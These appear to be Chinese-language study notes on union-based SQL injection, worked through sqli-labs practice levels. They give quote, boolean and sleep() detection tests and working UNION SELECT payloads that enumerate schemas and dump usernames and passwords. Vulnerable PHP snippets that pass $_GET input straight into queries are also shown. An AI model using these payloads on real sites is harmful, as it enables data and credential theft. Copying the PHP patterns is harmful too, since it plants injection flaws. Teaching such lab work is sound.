联合查询注入
SQL注入(Sql Injection )
是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击(有可利用的参数点),这些参数传递给后台的SQL数据库加以解析并执行。(有可以控制的利用点),我们可以通过构造特定的结构,让mysql 或者其他的数据库执行我们想要的操作
哪里存在SQL注入?
GET
POST
HTTP头部注入
Cookie注入
任何客户端可控,传递到服务器的变量。
并且和数据库进行交互,都有可能存在sql注入
在知道查询语句的情况下我们很容易辨别是否存在注入及注入类型,很多时候我们并不知道查询语句是什么,所以我们可以这样判断,在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误说明此页面存在SQL注入,如果页面正常显示说明有字符被过滤或者不存在注入,读者可自行测试,如果存在注入可以进一步判断注入类型,在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0'or 1#,查到数据说明是字符型注入,方法不唯一。总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。
SQL数据类型分类
整型注入 (不需要闭合’”)
字符串类型注入 (需要闭合’”(),或者需要注释)
如何去判断SQL注入漏洞
ql注入
根据注入类型分类?
1.字符型
2.整数型
根据注入的方式分类?
1.基于联合查询
2.基于报错
3.基于bool
4.基于时间
5.堆栈注入 多语句
2.如何快速判断是否存在sql注入
a) 使用'" 看是否报错
b) 使用 四则运算 + -* / 整型
c) 基于bool and 1= 1 / and 1=2 看结果是否有变化
d) 基于时间 and sleep(4) 页面经过特定时间返回
3. 如何通过源码快速判断是否存在特定类型的注入?
1.联合查询 有回显位 执行select 语句,从数据库中读取内容,并且最终打印
MySQL中UNION规则
UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
UNION中的每个查询必须包含相同的列数。
UNION会从查询结果集中自动去除了重复行。
只有最后一个select子句允许有order by;
只有最后一个select子句允许有limit
Sqli/Less-1/联合查询注入练习
使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入,
" 判读是否存在SQL注入
a) 使用'" 看是否报错
c) 基于bool and 1= 1 / and 1=2 看结果是否有变化
为假不成立
d) 基于时间 and sleep(4) 页面经过特定时间返回
b) 使用 四则运算 + -* / 整型
需知道是字符型注入还是数字型注入
判断列数
为字符型 所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到4时出现错误,如图,说明当前表有3
判断显示
接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2,3 -- 1
获取当数据库名称和当前连接数据库的用户
列出所有数据库
我们知道每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据
SELECT * FROM users WHERE id='-1' union select 1,schema_name,3 from information_schema.schemata limit 1,1 -- 1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
列出(数据库:security)中所有的表
now sql is SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- 1' LIMIT 0,1
列出(数据库:security 表:users )中所有的字段
SELECT * FROM users WHERE id='-1' union select 1,column_name,3 from information_schema.columns where table_schema='security'and table_name='users' limit 0,1
SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'and table_name='users' -- 1' LIMIT 0,1
SELECT * FROM users WHERE id='-1' union select id,username,password from security.users limit 0,1 -- 1' LIMIT 0,1
Sqli/Less-2/联合查询注入练习
首先判读sql注入类型 字符型注入还是数字型注入
利用 四则运算 + -* / 整型 判断是数字型
判断列数
输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到4时出现错误 ,如图,
说明当前表有3
判断显示
union select 1,2,3
获取当数据库名称和当前连接数据库的用户
列出所有数据库
列出(数据库:security)中所有的表
列出(数据库:security 表:users )中所有的字段
Sqli/Less-3/联合查询注入练习
首先判读sql注入类型 字符型注入还是数字型注入是字符
判断列数
判断显示
Union select 1,2,3 – 1
获取当数据库名称和当前连接数据库的用户
列出所有数据库
列出(数据库:security)中所有的表
列出(数据库:security 表:users )中所有的字段
Sqli/Less-4联合查询注入练习
首先判读sql注入类型 字符型注入还是数字型注入是字符 是字符
判断列数
为字符型 所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到4时出现错误,如图,说明当前表有3
判断显示
接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2,3
获取当数据库名称和当前连接数据库的用户
列出所有数据库
列出(数据库:security)中所有的表
列出(数据库:security 表:users )中所有的字段
1.如何快速判断页面是否存在sq注入?
a)添加特殊符号单双引号看是否报错
b)基于逻辑and1=1and1=2
c)基于四则运算符判断是否是整型注入
d)基于时间and sleep(4)
1.sql注入
根据注入类型分类?
1.字符型
2.整数型
根据注入的方式分类?
1.基于联合查询
2.基于报错
3.基于bool
4.基于时间
5.堆栈注入 多语句
2.如何快速判断是否存在sql注入
a) 使用'" 看是否报错
b) 使用 四则运算 + -* / 整型
c) 基于bool and 1= 1 / and 1=2 看结果是否有变化
d) 基于时间 and sleep(4) 页面经过特定时间返回
3. 如何通过源码快速判断是否存在特定类型的注入?
1.联合查询 有回显位 执行select 语句,从数据库中读取内容,并且最终打印
$res = mysqli_query($sql);
$arr = mysqli_fetch_array($res);
if ($arr){echo $arr[0];}
2. 报错注入 将报错的信息打印出来
print_r(mysqli_error()/mysql_error(););
3.基于bool 页面会根据执行的sql语句正确与否返回不一样的内容
$res = mysqli/mysql_query($sql);
if ($res){
echo 'success related information';
}
else{
echo 'failed related informtaion';
}
4.基于时间 页面会执行给定的语句
$input = $_GET['input'];
$sql = "select * from xxxx where id = '$input'";
mysql_query($sql);